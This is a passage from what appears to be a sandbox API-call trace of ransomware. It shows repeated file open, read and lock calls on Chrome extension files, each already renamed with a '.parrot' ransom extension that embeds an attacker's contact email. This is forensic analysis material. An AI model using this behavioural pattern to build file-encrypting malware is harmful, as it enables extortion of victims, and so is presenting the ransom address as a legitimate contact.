Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_tw\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.602] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x228 [0094.602] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x340, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.602] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.602] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.603] CloseHandle (hObject=0x23c) returned 1 [0094.603] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\verified_contents.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\verified_contents.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.603] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x2cf8 [0094.603] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2e10, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.603] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.604] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.604] CloseHandle (hObject=0x23c) returned 1 [0094.604] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.605] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1b58 [0094.605] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1c70, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.605] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.605] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.606] CloseHandle (hObject=0x23c) returned 1 [0094.606] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\manifest.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\manifest.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.606] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x508 [0094.606] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x620, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.606] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.606] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.607] CloseHandle (hObject=0x23c) returned 1 [0094.607] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.607] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1d8 [0094.608] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2f0, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.608] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.608] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.608] CloseHandle (hObject=0x23c) returned 1 [0094.608] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.609] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1d8 [0094.609] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2f0, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.609] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.609] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.610] CloseHandle (hObject=0x23c) returned 1 [0094.610] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.610] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1d8 [0094.610] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2f0, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.610] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.610] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.611] CloseHandle (hObject=0x23c) returned 1 [0094.611] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.611] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1d8 [0094.611] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2f0, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.611] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.611] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.612] CloseHandle (hObject=0x23c) returned 1 [0094.612] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.612] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1d8 [0094.612] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2f0, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.613] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.613] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.613] CloseHandle (hObject=0x23c) returned 1 [0094.613] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.614] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1d8 [0094.614] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2f0, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.614] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.614] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.615] CloseHandle (hObject=0x23c) returned 1 [0094.615] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.615] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1d8 [0094.615] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2f0, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.615] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.615] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.616] CloseHandle (hObject=0x23c) returned 1 [0094.616] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.616] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1d8 [0094.616] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2f0, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.617] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.617] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.617] CloseHandle (hObject=0x23c) returned 1 [0094.617] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.618] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1d8 [0094.618] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2f0, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.618] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.618] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.619] CloseHandle (hObject=0x23c) returned 1 [0094.619] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.619] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1d8 [0094.619] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2f0, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.619] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.619] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.620] CloseHandle (hObject=0x23c) returned 1 [0094.620] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.620] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1d8 [0094.620] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2f0, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.620] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.620] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.621] CloseHandle (hObject=0x23c) returned 1 [0094.621] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.621] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1d8 [0094.621] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2f0, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.621] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.622] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.622] CloseHandle (hObject=0x23c) returned 1 [0094.622] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.623] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1d8 [0094.623] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2f0, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.623] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.623] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.623] CloseHandle (hObject=0x23c) returned 1 [0094.624] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.624] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1d8 [0094.624] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2f0, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.624] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.624] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.625] CloseHandle (hObject=0x23c) returned 1 [0094.625] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 